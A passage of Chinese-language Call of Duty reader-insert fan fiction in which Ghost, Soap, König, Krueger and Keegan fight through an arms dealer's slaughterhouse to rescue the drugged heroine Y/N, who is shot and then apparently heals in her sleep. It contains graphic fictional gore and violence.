男人声音里带着海风的咸涩,“刚才有两个尾巴盯上你了。”
Y/N脚步未停,只是随意地指了指远处翻涌的浪花,“啊,你说他们?我请他们去海底观光了。”
Keegan怔了怔,面罩下溢出一声笑。月影徘徊,两道人影在堤坝上刹那相叠,又随浪涌悄然分散。
Krueger浑身挟着血腥寒气冲出冷库时,工厂外早已空无一人。他太清楚那女人的本事,她若想消失,连影子都不会留下。
“Blut muss Blut, muss Blut(血必须流,必须流血)”他机械地重复着,指节咔咔作响。突然,他笑了起来,转身折返回了屠宰场。
地下很快传来震耳欲聋的欢呼,像一群鬣狗撕开猎物的腹腔时发出的嚎叫。
“你是要一直跟着我吗?”Y/N驻足,海风将她的发丝吹得纷扬。她转身望向那个始终保持着三步之遥的男人
“打扰你了吗。”回答混着潮汐声传来,男人的目光却落在远处海天交界线上。
他本无意尾随,只是莫名觉得,她走过的海岸线格外令人心安。
“倒是没有。”话音一落,她纵身跃入海中。
Keegan回过神时,看见她正仰躺在幽暗的海面上。这场景恍如隔世,在那座深山湖泊初见时,她也是这样漂浮在水中央,像个随时会消散的梦境。
“你怎么不下来?”女人随波轻晃,眯着眼斜睨岸边的男人,“你不是要一直跟着我吗,下来吧,我带你看好玩的。”
Keegan站在礁石上,沉默了良久抬手脱去外衣,解开腰带,金属扣环砸在岩石上发出清响。
男人入水时像一把出鞘的刀,划开漆黑的海面。Y/N扣住他的手腕直接向下拽去,整个下沉的过程就像是穿过夜幕。
刹那间,无数泛着幽光的浮游生物朝他们聚拢。整片海被点亮,连海底细沙的纹路都清晰可辨。
Keegan却在这般景致中感到胸腔发紧,恐惧和焦躁瞬间冲进耳膜,他又听见了队友窒息时的摩斯电码。
他朝Y/N划出向上的手势。
女人却收紧了五指,将Keegan往更深的海域拖拽,就在他准备挣脱的瞬间,她整个人贴了上来。
隔着面罩的隔层,他能清晰看见她微张的唇,溢出了一串气泡,像某种无声的邀请。
颤栗从头顶炸开,被电鳗击中般顺着脊柱流窜,他瞬间忘记了一切。
她的膝正随着水流,无意擦过男人双腿之间,似条狡黠的鱼一触即离。当他本能伸手快要扣住那截腰肢时,女人却灵巧地后撤,凝视着他。
这时Keegan惊诧发现,自己竟能呼吸自如,甚至连那份创伤和幻听都尽数消散。
他忽然意识到,眼前这个人将某种馈赠,通过那个未完成的吻渡了过来。
而自他获得水下自如的能力,两人的角色便彻底颠倒。Keegan反客为主,一把拉住Y/N带着她向深渊俯冲。
当他们穿过最后一片发光水母群时,Keegan回身将她抵在沉船的桅杆上,面罩后的眼神比深海掠食者更为危险,却藏着一丝只有他自己能察觉的颤抖。
没人知道,他对海洋的恐惧,并非恐惧海水本身,而是恐惧那至今仍漂浮着23具未回收尸体的重量。
甚至每当他进入港口区域执行任务时,都需要在战术手套的遮掩下,注射某种掩盖恐惧的亢奋剂。
他拉起她的手,在她掌心缓慢划下,“Owe you one。”(欠你一次)指尖的力度像是要把每个字母刻进她的血脉。
或许这次,他终于能带着23个裹尸袋靠岸,而不是23份未签字的阵亡通知书。
8. 自娱自乐
Y/N和Keegan并肩躺在无人的沙滩上。潮水退去后留下的细沙还带着夜间的凉意,Y/N懒洋洋地打了个哈欠,转头看向身旁的男人。
Keegan曲起一膝,双手枕在脑后,灰蓝色的眼眸映着破晓的天光,精神好得不像彻夜未眠的人。
他察觉到她的目光,支起身子偏头望来,“有地方去吗?”
她认真想了想,“有。”
Keegan向来不会追问这种回答。但此刻晨光正描摹着她沾着细沙的轮廓,他听见自己又问了一遍,“具体位置?”
“114和昨晚那个厨房,”她顿了顿,又补充道,“还有小熊。”
Keegan立刻会意,141特遣队驻地,钢铁屠宰场。幸好多问这一句,她分明无处可去。
他利落地起身,朝她伸出布满茧的手,“先跟我走。”
Y/N又打了个长长的哈欠,借着他的力道站起身来,手指却自然而然地滑入他的指缝,再没松开。
Keegan低头瞥了眼两人交缠的手,女人指尖还沾着海盐的颗粒,正无意识摩挲着他虎口的枪茧。
他什么也没说,只是收紧了手掌,领着她向远处的公路走去。晨光中,两串脚印在沙滩上踩出一条小道,又被浪花慢慢抹平。
废弃工厂里,四个被扒得精光的男人,像待宰的猪猡般捆在铁管上。Ghost几人利落地套上马卡洛夫手下的作战服,唯独Konig对着手中缩水般的衣服发愣。
Soap吹了个口哨,“嘿,省省吧大块头,你不用换,你这样就已经够像电锯杀人狂了。”
“额….好….好吧..…”
整晚Soap的嘴就没停过,Ghost阴郁的让他发毛,那个化学家他又不想搭理,最后只剩这个巨怪能当消遣。
起初无论怎么挑衅konig都像块木头,可后来Soap发现,每当用话术把对方逼得结结巴巴时,面罩上方露出的蓝眼睛就会泛起困兽般的窘迫,比靶场射击还有趣。
Krueger在屠宰场里窝了一整夜,他从昨晚厮杀开始,就一直在场上没下来过,整个人都像是被红油漆浸泡着。
他没明白,小猫明明曾和他在角斗场拼过命,利爪甚至险些撕开他的喉咙。怎么突然就不见了。之前,她会默默背起他一起离开。
这不对劲,他分明看见她起身时还回头望了一眼。毕竟,当他完成那场血腥收割再出来时,已经过了好一会儿,小猫不可能是跑了。
Krueger一把掀开监控室的铁门,布满血丝的眼睛死盯着屏幕。
画面里,工场外一地月光,熟悉的身影正坐在集装箱边缘,有一下没一下地敲着铁皮,甚至不时望向屠宰场的方向。
他勾起一抹笑,果然,他的小猫一直在等他。
Krueger的嘴角刚扬起愉悦的弧度,却在刹那间凝固。一个陌生男人的身影突兀地闯入视野,紧接着第二个紧随其后。
他唇边的笑意顿时化作寒意,他看见他的小猫突然竖起无形的尖耳,尾巴一甩便转身跃入黑暗。
就在她消失的瞬间,两道阴影如猎犬般猛然窜出,紧咬着她的足迹消失在夜色中。
Krueger的指节猛地砸向监控台,金属外壳顿时凹陷下去。他喉咙里滚出低吼,“Verdammter Hurensohn!”(该死的杂种!)
监控画面在他充血的眼球上投下跳动的蓝光,那两个黑影消失的方向,正是通往港口废料区的窄巷。
“Fickt euch!”(艹他的)他扯下血迹斑斑的手套,仿佛在嘲笑他的迟钝。
男人一把抓起桌上的双刃匕首,屠宰场后门被踹开的巨响,惊起一群争食的海鸥,而他的身影已经消失在集装箱区的阴影里,每一步都在水泥地上留下血脚印。
Y/N都记不起自己是什么时候睡着的了,睁开眼时,发现自己躺在一张陌生的床上。房间异常整洁,却静得出奇。
月光刺进室内,她侧头看向紧贴床边的窗户,窗外是几栋破败的建筑。
空气中飘着若有若无的硝烟味,混着皮革和海盐的气息。是昨晚那个男人身上的味道。
她赤脚踩上冰凉的地板,走向没有门的门框。客厅空荡荡的,只有几个木箱随意堆放着。其中一个箱子上摆着一盘三明治,盘下压着一张字条:
【我有事出去。】
纸面下方还有一行被划掉的笔迹,
【呆着等我回来。】
Y/N拿起三明治嗅了嗅,随即咬下一大口,出乎意料的好吃。她解决掉食物,开始在房间里转悠。在角落的木箱,发现了Keegan的备用衣物。
她脱下自己那件浸满海盐味的旧衣,换上干净的连帽衫。布料摩擦过皮肤时,她莫名想起那个男人的轮廓,冷硬却又柔和,真是奇怪。
推门而出,眼前是一片荒芜的废墟。土墙垣间杂草丛生,空洞的窗框像被挖去眼珠的眼眶。
Y/N双手插兜,漫不经心地踢着石子,像只被遗弃的野猫般游荡。偶尔有风掠过空荡的街道,卷起几张废纸,却不见半个人影。
而Keegan这头,正坐在维克多在敖德萨的临时办公室里,指尖轻叩桌面,“听说维克多先生最近在卫星部件交易上颇有建树。”
维克多眯起眼睛,雪茄的烟雾在两人之间缭绕,“Klaus先生消息倒是灵通。”
“我对量子导航系统也很感兴趣。”Keegan直视对方,“不知道您在这方面是否有所研究?”
“哈!”维克多突然大笑,指间的雪茄抖落烟灰,“Klaus先生的胃口未免太大了些。”
Keegan不紧不慢地取出一份文件,“这是我们公司这阶段的研究项目。”
他翻开扉页,露出国防部的徽章印记,“正好资助了一支刚从国防项目退下来的科研团队。”
维克多盯着文件上熟悉的军方编号,心里冷笑好一个“正好资助”,怕是拿着枪抵着太阳穴请来的吧。但不得不承认,能撬动国防部的墙角,确实证明了对方的实力。
“看来,”维克多重新露出绅士式的微笑,“我们或许能成为很好的合伙人。”
Y/N漫无目的地游荡了不知多
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久,夜色依旧浓稠。突然,一阵焦糊味钻进鼻腔,紧接着是刻意压低的说话声。
“那几个废物怎么还没回来?探个路要这么久?”
粗哑的男声里混着金属碰撞声,“该不会是撞上141的人了吧?”
另一个声音嗤笑,“要是真碰上141,现在早该听到枪声了。”
打火机咔嗒一响,那人深吸一口烟,“КостянойМешок(骨头袋子)的审讯手段你总该听说过。”
Y/N虽然听不懂他们的对话,但141这个数字代号却清晰地钻入耳中。她循着声源,朝那个方向迈步。
“嘘!”领头的男人突然竖起手指,三个训练有素的战士瞬间进入战斗状态,他们以三角阵型散开,枪口对准声源方向。
然而传来的脚步声太过散漫,完全不像受过训练的特种兵。
当Y/N从斑驳的石柱后探出身形时,三支枪管同时一滞。
Soap拽着两个穿着他们作战服的男人,像遛狗一样走在化学家旁边,语气里带着跃跃欲试,“咱们真不先把他们的人都解决掉?”
Ghost拖拽着被捆住的男人,头也不回地朝那座伪装成普通工厂的海边设施走去,“省省子弹,别在杂鱼身上浪费时间。”
Konig瞳孔剧颤,想立刻离开这片区域,肌肉绷紧得像是随时要爆发的野兽。他无意识地加重了手上的力道,直到听见背上俘虏的骨头发出“咔哒”一声脆响,伴随着痛苦的呜咽。
Soap吹了个口哨,“Hey,大块头。你别太兴奋啊。这人还得留着用!”
他们需要依靠这几个俘虏作为掩护,潜入这座钢铁铸就的屠宰场,以此混淆马卡洛夫的视线。
Ghost早已发现化学家体内植有定位芯片,计划在进入屠宰场后将其取出,再制造些“小意外”转移注意力。或许还能从地下管道系统迂回,直通另一侧的码头区。
他换下了标志性的骷髅面罩,取而代之的是一副纯黑面罩。当一行人顺利放血通过检验后,他们夹着化学家向楼梯下移动。
黎明将至,Y/N将眼前全副武装的恐怖分子当作了141的人,在她眼中,这些作战服都大同小异。
当对方将她捆绑并安置在角落时,她出奇地配合,毕竟Ghost当初也是这般将她带走的。
三个男人死死盯着她,喉结不约而同地滚动,他们从未见过如此摄人心魄的女人。年轻的新兵呼吸变得粗重,就在他忍不住要伸手触碰时。
队长胸前的通讯器突然亮起红光。新兵看见那只布满老茧的手攥紧了染血的银十字架,嗓音突然变得虔诚,“Да,понял... Мойотец。”是,遵命...我的父亲)
转身时,他冷漠的看向Y/N开口,“化学家的定位在屠宰场。我们需要俘虏,带上她,门口会有人愿意交换的。”
当第一缕阳光刺破云层时,Y/N早已歪着头陷入沉睡。男人们的视线像沾了血的刀在她脸上游走。
而她只是无意识地蹭了蹭绳索,朦胧中想着,等醒来,应该就可以到141喝热可可了。
9. 自娱自乐
Keegan推开安全屋的门,扑面而来的是带着尘味的穿堂风。屋内空无一人,空盘子里残留着几粒面包屑。
地上散落着她昨夜换下的衣物,像一只蜕下的蝉壳。Keegan蹲下身,拾起那张被精准撕成两半的纸条。
她带走了下半句,却把上半句原封不动留给他。指腹抚过纸张边缘参差的裂痕,Keegan突然摇头轻笑。
这小孩,倒学会用他的方式来报备行踪了,看来是让他不要等她。
Keegan将那张被撕破的字条折好收进暗袋,他看了眼腕表,距离与维克多在屠宰场的会面还有六个小时。
那个老狐狸特意提到“有位老朋友的代理人要来”,字里行间透着令人警觉的兴奋。Keegan太熟悉这种语气了,每次维克多用这种腔调说话,就意味着又要和某个疯子打交道。
匕首在掌心转了个漂亮的刀花,Keegan把它插回腿侧的刀鞘。他望向窗外逐渐明亮的天色,突然很想抽根烟。
“今晚就结束吧。”他对着空荡荡的安全屋喃喃自语。
夜色浸染屠宰场时,维克多眯起眼睛。Fleischmeister(肉匠大师)带上来的两个被捆成粽子的男人,赫然是他那对号称“精英”的保镖。
他慢条斯理地吐出一口雪茄烟雾,神色闪过讥诮,“Двадерьма(两坨屎)”
他甚至懒得掩饰语气中的愉悦。毕竟就在十分钟前,他想要的“货物”已经被另一路人送到了眼前。
这两个饭桶保镖?不过是今晚余兴节目的小丑罢了。
Krueger的指节捏得咯咯作响,猩红的双眼在面罩下燃烧,他翻遍了整个废料区,却只揪出这两个浑身湿透的杂碎。
他们说不知道小猫去哪了?Verdammte Schei?e!(艹他爹的杂种!)明明十分钟前监控里她还乖乖坐在集装箱上等他!
第一个男人的小指骨在Krueger掌心里碎成三截。鲜血喷溅在生锈的铁网上,第二个人□□已经湿透。
Krueger扯着他们的头发将两颗脑袋狠狠相撞,颅骨相击的闷响里,他贴着他们血流如注的耳朵,每个字都带着血腥气。
“Wo ist sie, du Drecksau?”(她在哪,你这肮脏的猪猡?)
Ghost隐身在屠宰场角落的阴影里,朝Soap打了个手势。Soap会意,匕首寒光一闪便精准划开化学家的皮肤,沾血的芯片落入血槽,混进黏稠的暗红液体里
Konig的身影不知何时消失,Ghost对此毫不在意,只要不拖后腿,他爱躲哪儿都行。
Keegan刚跨进VIP区门槛,全身肌肉瞬间绷紧,北极熊皮毛的沙发上,Y/N正穿着他那件宽大的连帽衫,下摆堪堪遮住大腿根,随意搭在维克多身上。
她像只被注射了镇静剂的实验动物般,瘫软在维克多怀里,脖颈不自然地垂落,睫毛在惨白的灯光下投出阴影。
Keegan的手指瞬间扣住腰间的匕首,骨节发白。但多年的本能让他硬生生刹住动作,一个利落的后撤步隐入阴影。
他疾步走出工厂,直奔东南角那堆生锈的集装箱,掀开伪装的铁皮。
90秒后,换上轻量化作战服的Keegan如幽灵般从通风管滑入,面罩下只露出一双充血的眼睛。
就在这时,他听见地下角斗场方向突然爆发出惊叫声,随即接二连三传来枪响。
Konig蜷缩在屠宰场最阴暗的角落,手套深深抠进砖缝,仿佛要把自己嵌进墙体。欢呼声与惨叫声像毒液般顺着耳道灌入.
“Atmen.…atmen...(呼吸...呼吸...)他对着墙缝喃喃自语,但血腥味塞满了肺部。额角的汗水混着砖灰滴落,在面罩上冲出几道泥痕。
他想逃离这个声浪炼狱,不如去找外围的狙击点,对,那里足够安静,颤抖的手指检查着枪械,至少武器不会发出刺耳的尖叫。
Konig的脚步在阴影中挪动,却仍不可避免地瞥见了角斗场中央那道熟悉的身影。
而Krueger正以他标志性的手法“款待”着某个倒霉鬼。那些Phillip强迫他反复观看的处刑录像,此刻正血淋淋地在眼前上演。
他的身躯突然僵直,像生了根般钉在原地。布罩下的瞳孔紧缩成点,死死锁住Krueger染血的身影。
周遭的喧嚣骤然褪去,仿佛整个世界只剩下那个抢走他玩具的恶童。
“Wo...wo ist sie?!”(她...她在哪?!)Konig突然像头失控的装甲车撞进角斗场,钢筋般的手指直指Krueger。嘶吼声穿透面罩,带着孩童般的执拗与战栗。
观众席瞬间沸腾,声浪几乎掀翻屋顶,这个突然闯入的巨人让血腥盛宴达到了高潮。
Ghost和Soap同时注意到了这场骚动,Soap眉头紧锁,“他搞在什么?”
Ghost完全没料到Konig会突然失控。他正打算带着化学家紧急撤离,余光却猛地捕捉到维克多怀中那抹刺眼的雪白。她像只被折断了翅膀的鸟,无力地瘫在一个男人身上。
一股冰冷的暴怒瞬间席卷全身,Ghost感觉自己的血液都结成了冰碴。他将化学家粗暴地塞进Soap怀里,力道大得让Soap踉跄了两步。
“带 他走。”每个字都像是从牙缝里碾出来的
Soap还没站稳,就看见Ghost从腿侧抽出了那把极少示人,枪身蚀刻着骷髅徽记的专属配枪。
“响尾蛇”,它的轮廓比黑夜更幽深,比死亡更寂静。每当这支枪现身,就意味着某个价值连城的猎物要被永远抹除。
Soap的视线急速扫过屠宰场,这里究竟藏着Ghost的什么仇人?能让这个向来冷静的刽子手失控到亮出底牌?
他的目光从血泊中的打手,扫到二楼看台的军火贩子,最后定格在维克多怀里.…..
“Fuck!哪个阴沟里爬出来的杂种敢碰!”
Krueger正半跪在血泊中剥取战利品,染血的刃一顿。他抬眼看向突然闯入的Konig,却发现对方的目光慌乱地避开了他,紧接着死钉在了某个方向。
“Y/N!Sch...ScheiBe!”(Y/N!该...该死的!)
Konig的咆哮声里混着颤音,“Ich...ich werde dich toten...”(我...我要杀了...)
Krueger猛地扭头,砍刀在掌心转了个猩红的圆弧。他的小猫正像具人偶般瘫在男人怀里,那只会亮爪子的野猫此刻却毫无生气。
维克多的手掌正肆意抚弄着她苍白的脸颊,仿佛在把玩一截花梨。
Krueger一刀捅穿了脚下俘虏的咽喉。当他提着滴血的砍刀走向看台时,刀尖在地面拖曳出血线。
突然,“砰砰”两声枪响骤然撕裂空气。
马卡洛夫的人从看台死角朝Soap开火。Soap反应极快,一把将化学家的脑袋按到地面,抽出手枪,保持蛇形走位,寻找掩体。
维克多的保镖们瞬间形成人墙,十几支枪口同时锁定了四方。而他本人已经拽着Y/N的胳膊拖行着。
就在维克多即将退入安全通道时,他猛然察觉臂弯里的女人动了。
Y/N昏沉的意识像被浸在冰水里,她原本只是入睡,可不知被注射了什么睡得极死,四周的嘈杂声不断刺入耳膜。
睁开眼的刹那,那张令她不喜的脸映入眼帘,一股烦躁感瞬间冲上头顶,她手腕轻转就挣脱桎梏,腿在空中划出弧线。
维克多像袋垃圾般被踹飞出去。
Ghost正压低身形准备突破人墙,就看见那个西装革履的身影抛物线般飞过保镖头顶。他绷紧的背脊突然舒展,没想到那女人还有这一手。
Krueger的喉咙里更是滚出一声低笑,“Die Katze ist aufgewacht。”(小猫醒了啊。)他舔了舔刀刃上的血迹,眼中闪着兴奋。
Konig端起机枪就朝人墙疯狂扫射,子弹壳叮叮当当落了一地。Keegan冲进现场时,已经乱成一锅沸粥。
Y/N一个利落的空翻跃上角斗场边缘的铁架,她甩了甩头,试图驱散脑中的眩晕感。
突然,又一队全副武装的士兵从侧门涌出,将维克多团团护住。
“给我把她抓回来!死的活的都行!”他歇斯底里地咆哮着,精心策划的艺术品就这么泡汤了。
那些突然出现的武装分子,分明是马卡洛夫的科尼士兵。Keegan一个蹬踏翻上看台,匕首在指间翻飞,三具喉管喷血的尸体接连倒下。
现在就连保护维克多的也是马卡洛夫的敢死队,难道这场交易的真正买家就是那个恐怖分子?
Krueger听到维克多的话,砍刀瞬间划出猩红弧线,三个士兵的脖颈同时绽放血花。他像头嗜血的狼冲进敌阵,每一刀都精准撕裂气管。
Ghost的“响尾蛇”连续喷吐火舌,每个子弹都从敌人眉心穿过。
他在加密频道里的声音冷静得可怕,“Soap immediate evac with package. Stray fall back to sniper position。”(肥皂立即护送包裹撤离。流浪狗后撤。)
Konig的机枪此时突然卡壳,这才意识到在这种密闭空间扫射只会害死自己人。抬头瞬间,正对上Y/N从角斗场顶端投来的目光。
她嘴角扬起弧度,在震耳欲聋的枪声中纵身跃下。精准踩上Konig的肩膀,整个人像猫儿般蜷坐上去,还顺手揉了揉他的粗布面罩,“小熊,好久不见。”
子弹擦着他们呼啸而过,Konig却僵成雕塑。面罩下的脸瞬间烧得通红,幸好厚重的布料遮住了他快要冒烟的耳朵。
他手忙脚乱地去扶她的腿,又怕力道太重,活像只被踩了爪子的真熊。
Krueger刚转过头,那句“Hey, K?tzchen, wie...”(嘿,小猫,怎么...)还没说完。
“砰!”
一声震耳欲聋的枪响撕裂空气。子弹从极近距离贯穿Y/N的胸口,她身体猛地一颤,向后仰倒。
Konig的瞳孔骤然放大,手套瞬间染上温热的鲜血,他几乎是本能地张开双臂接住她下坠的身体。
“Schei?e!!”(该死的!!)Krueger暴怒的嘶吼声中,砍刀直接捅穿了眼前敌人的太阳穴。他像头发狂的野兽朝Y/N冲去。
Ghost全身肌肉绷紧到极限,这不是普通的贯穿伤,子弹明显击中了要害。即便以Y/N的恢复能力,他不知道….
男人的指节在枪柄上捏得发白,却强迫自己继续压制敌方火力。现在转身只会让所有人成为活靶子。
Keegan从看台一跃而下,落地时震起一片血雾。他横枪挡在Konig和Krueger面前,与Ghost形成交叉火力网。
“保持阵型!”Ghost的吼声压过枪响,“想救她就先解决这帮Bloody fucking cockroach!(该死的蟑螂!)”
Y/N猛地坐直身子,鲜血从嘴角溢出,混着气泡不断涌出。泪水不受控制地顺着脸颊滚落,滴在Konig颤抖的手背上。
这个高大的战士此刻手足无措,面罩下的眼睛也开始泛起水光,笨拙地用袖子去擦她脸上的血,却越擦越花。
“Nein nein nein, kleine Katze, du darfst nicht sterben!”(不不不,小猫,我可不允许)Krueger一把按住她胸前汩汩冒血的弹孔,声音里是从未有过的慌乱。
他的手掌很快被温热的血液浸透,指缝间不断有新的血涌出来。
Y/N低头看向自己的伤口,疼,从未有过的剧痛撕扯着神经。但更让她震惊的是胸
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腔里翻涌的陌生情绪。
她抬起泪眼望向战场,Ghost和Keegan的身影在枪林弹雨中,他们的作战服上已经绽开好几处血花。
Y/N猛地甩开Krueger的手,踉跄着站起身来,胸口还在不断渗血。Krueger慌忙跟着站起,声音里带着罕见的慌乱,“Katzchen?”(小猫?)
Konig死死拽住她的衣袖,眼泪大颗大颗地往下砸,“Ich...ich bin ein v-verdammter D-Dummkopf!”(我...我真是个该死的废物!)
他的声音哽咽得厉害,“Y/N...du...du darfst dich nicht bewegen!”(Y/N...你...你不能动!)
此刻的Y/N只觉得一股无名火直冲脑门。脑袋本来就昏昏沉沉的,耳边还响个不停的枪声,更别提这该死的疼痛。
那几个人还骗她说要带她回141!她恶狠狠地瞪向Krueger,都怪这个人带她来这种鬼地方,遇上这群该死的家伙!
Y/N狠狠甩开Krueger的手,血沫随着话语喷溅而出,“都怪你带我来这个鬼地方!”她的脸被血和泪糊得一片狼藉,前襟早已被鲜血浸透。
Krueger毫不犹豫地举起砍刀,在自己前臂划开一道深可见骨的口子,“怪我!Hier... mein Fleisch...”(拿去吧...我的肉...)鲜血顺着刀尖滴落,他的眼神近乎虔诚。
“我要你的干嘛!咳!”Y/N又呛出一大口鲜血,泪水混合着血水在下巴汇成小溪。
她推开挡在身前的两人,染血的手指在Konig的背心上留下五道刺目的血痕。
子弹如暴雨般倾泻,Ghost和Keegan的防弹衣已经嵌满弹痕,两人的呼吸越发粗重。身后却迟迟没有支援的动静,他们不得不分神构筑防线,确保Y/N不被流弹击中。
就在火力网即将被突破的瞬间,一道残影从两人身侧掠过。
Y/N的身影快得几乎撕裂空气,她踏着看台栏杆纵身跃起,带着未愈的枪伤,在弹雨中穿梭。身上又绽开两朵新的血花,但她仿佛感觉不到疼痛,如复仇的恶灵般俯冲向敌阵。
Ghost和Keegan来不及多想,连续点射,每一发子弹都精准地为她开辟道路。
她染血的指尖率先刺穿最近敌人的眼球,在对方惨叫尚未出口时,膝盖已狠狠顶上另一人的喉结。
Krueger的砍刀突然从侧面飞来,直直插进身后偷袭者的脑袋。就在高处的狙击镜红点即将锁定Y/N眉心的刹那。
Konig挂着泪痕的布罩突然抬起,手中的枪喷出火舌。子弹穿过八百米距离,精准掀飞了敌方狙击手的天灵盖。但那双湿漉漉的眼睛始终没离开瞄准镜。
Y/N站在血泊中央,像头被夺走猎物的母狮般低吼。维克多早已消失在安全通道,Soap也带着化学家成功撤离。
还有敢死队在往这里面涌,Ghost的手扣住Y/N,他一把将她拽到身后,用自己高大的身躯完全挡住可能的射击角度。
面罩下的呼吸声明显加重,透着一丝不易察觉的颤抖。
“别恋战!走!”他低沉的声音里压着暴怒,每个音节都像从牙缝里挤出来的。但护在她腰后的手掌却放得极轻,小心避开了她还在渗血的伤口。
Y/N此时就是个血人,身上几处弹孔处处致命,她浑身都在颤动,嘴里的血往外淌,眼泪哗哗流个不停。
她用染血的手指向地上那些尸体,声音嘶哑得不成样子,“他们骗我说要带我回141喝热可可!结果...咳咳...把我捆起来打针.…”
话未说完,她突然剧烈咳嗽起来,大口大口的鲜血从嘴角溢出,四人的血液瞬间凝固,这句话在他们耳中自动补全了最糟糕的可能性。
Krueger的瞳孔骤然血红,手中的砍刀突然调转方向,发疯般剁向那些早已死透的尸体。
“Ich werde sie alle in Stücke schneiden!!”(我要把他们全剁成碎块!!)每砍一刀都伴随着骨肉分离的闷响,他的声音里带着近乎癫狂的杀意。
Keegan的声音第一次出现了明显的颤抖,“必须立刻带她治疗!”
Ghost的指节在枪柄上捏得发白,当流弹擦过他们身侧时,他毫不犹豫地转身将她完全笼在身下。
防弹背心传来子弹撞击的闷响,他却连眉头都没皱一下,只是用身体丈量着每一步后退的距离,确保她被掩护在自己的阴影里。
Y/N完全没注意到,四人已经脑补出一整部犯罪剧。她只是迷迷糊糊地想着,胸口的洞可真疼啊,要是有杯热可可就好了,不知道有没有冰可可啊。
直到Keegan已经在前方清出退路,Ghost这才稍稍松开钳制,但手仍死护在她的身侧。就像生怕一撒手,这只伤痕累累的野猫又会冲进枪林弹雨。
Krueger的砍刀还在不断为队伍断后。Konig默默跟上,时不时回头确认没有新的红点瞄准她的后背。
出了工厂Y/N虚弱地张了张嘴,还想说什么,Ghost却一把将她打横抱起,动作轻柔得不可思议。
“Shhh...别说话,闭上眼睛睡觉。”
Krueger瞬间暴怒,砍刀抵上Ghost的咽喉,“Schwein! Wenn sie einschl?ft, stirbt sie!”(混蛋!她要是睡着了就会死!)
Keegan罕见地没有阻拦,只是紧锁眉头站在一旁。Konig沉默地抱着狙击枪,面罩下的呼吸声明显紊乱,却始终保持着守护距离。
Ghost无视颈间的利刃,大步流星地向前走去。他表面冷静,实则心跳如雷,天知道Y/N这次能不能靠睡眠自愈。
但他必须稳住,至少得找个干净的地方,亲手确认她每一处伤……
10. 自娱自乐
天刚初亮,四道高大的黑影在临时落脚处凝固成雕塑。Soap刚掀开Y/N血迹斑斑的衣服,抽气声就在密闭空间里此起彼伏。
四枚弹孔在她苍白的皮肤上烙下漆黑的印记,每个伤口都清晰贯穿了身体。最骇人的是心脏位置那个对穿的窟窿,月光从背后的弹孔透进来。
Ghost的指腹擦过她后背的弹孔,沾着血的指尖从胸前对应的伤口穿出半厘米。没有需要取出的弹头,因为每颗子弹都完成了它们的贯穿使命。
Keegan的声音冷静得可怕,但脖子上暴起的青筋出卖了他,“需要超声检查脏器损伤程度。这种贯穿伤会导致…..”话没说完就咬到了舌头,鲜血从嘴角溢出来。
Y/N的身体不受控制地颤抖着,可她的神情却还是诡异的平静。
泪水混着血水滑落,她死死攥住Ghost的战术背心,“上次...咳咳...你给我的...止痛剂...”每个词都伴随着破碎的气音。
墙角传来沉闷的撞击声,Konig正用额头反复砸向混凝土墙壁,他的喉咙里挤出不成调的呜咽,粗布过滤后的哭声,像是受伤野兽的哀鸣。
Ghost单手解开战术腰包,他摸出那支军用吗啡注射器,针尖却在即将刺入她皮肤的瞬间停住。
这种剂量的止痛剂,对贯穿四个脏器的伤势而言不过是杯水车薪。
Keegan静立在旁,手指反复攥紧又松开。他昨日才说欠她一次,难道转眼就要食言?
而那份珍贵的馈赠,那段刚被抚平一点的痛苦记忆,此刻正在他脑海中翻涌。
或许这就是报应。上天不允许他忘记那些刻骨铭心的痛,就像现在不允许他弥补这份人情。
“咳.…我不会死。”她虚弱地扯了扯嘴角,染血的手指颤巍巍地指向墙角,“让小熊.…安静点...”声音轻得像羽毛落地。
Krueger立刻像拎幼崽般把Konig拽离墙角,后者还在抽噎。
当她看见止痛剂推入静脉后,满足地眯起眼睛,像只被顺毛的猫,“我睡一觉...就好了….”
睫毛上的血珠随着眨眼落下,“起来要喝.….热可可...”
话音未落,她的手突然垂落,在Ghost臂弯里彻底放松下来。
Konig发出一声压抑的呜咽,而Krueger正粗暴地擦掉砍刀上的血迹,那上面沾着的不知是敌人的血,还是他刚才攥得太紧时掌心渗出的血。
Ghost扯过外套罩在Y/N身上。他从战术包里甩出几包压缩食品,铝箔包装在水泥地上划出刺耳的声响。
“补充体力。”他的声音在面罩下滤成冰渣,“他们很快会嗅着味过来。”
没等众人回应,男人已然翻出窗外,像一抹在日光下也会存在的幽灵。
Keegan沉默地坐到Y/N身旁,目光在她脸上停留了几秒。他伸手拂去她额前被血浸湿的发丝,动作轻得像是怕碰碎什么。
随后他垂下眼,指节熟练地拨动无线电旋钮,加密频道的电流杂音在寂静中格外刺耳。
调频完成时,耳机里传来Ghost那边压抑的呼吸声,Keegan没有开口,只是将频道保持开放。
他低头开始检查手中的步枪,每一个动作都精准而克制,像是用机械的流程来压制某种更汹涌的情绪。弹匣被反复抽出又推入,直到确认无误,他才终于停下。
Konig像一座被施了定身咒的雪山,凝固在Krueger粗暴拽停的位置。小山一样的身躯投下巨大阴影,那双湛蓝的眼却盈满泪水,像决堤的水龙头不断溢出。
他不明白自己对Y/N而言究竟算什么。这仅仅是他们的第二次相遇,可全世界只有她会喊他“小熊”,仿佛他真是森林里毛茸茸的守护精灵,而不是沾满硝烟的杀人兵器。
他是那个被粗糙木头雕刻成的人偶,诅咒在年轮间刻下伤痕。而她披着星光而来,是童话中能让木偶重获生命,变成真正男孩的蓝发仙子。
Krueger盯着Y/N的位置,用匕首不停在手臂上划出道道细密的血线,鲜血顺着刀尖滴落在地面的节奏,像在演奏某种病态的小夜曲。
下一秒他如捕食的狼蛛般翻出窗外,碾过窗框时留下半个血脚印。
屠宰场里回荡着剁砍声。Krueger踩在早已冷却的血泊里,匕首换成了生锈的砍骨刀。
男人慢条斯理地卸下每具尸体的关节,像在拆解劣质玩偶般将残肢抛向不同角落。当发现某具尸体还残留着完好的眼球时,他突然发出短促的笑声,刀尖发出“啵”的轻响。
“Zu sanft…”(太仁慈了...)
他对着空荡荡的屠宰场呢喃,刀刃刮擦头骨的声音像指甲划过黑板,“Die Holle wartet auf euch,Schweine.”(地狱等着你们呢,猪猡。)最后把半截□□钉在了门框的倒刺上。
天色刚刚擦黑,Y/N的睫毛便颤动起来。她嗅到了那股熟的香甜。下一秒,她猛地直起身子,动作像个被丝线突然扯起的木偶。
“What the fuck!”Soap手里的压缩饼干,“啪”地掉在地上,碎屑溅了一地。
化学家瞪圆了眼,嘴唇哆嗦着,他记得昨晚这个女人已经踏进鬼门关,鲜血几乎流干,可现在她却直勾勾地坐了起来,仿佛死亡从未触碰过她。
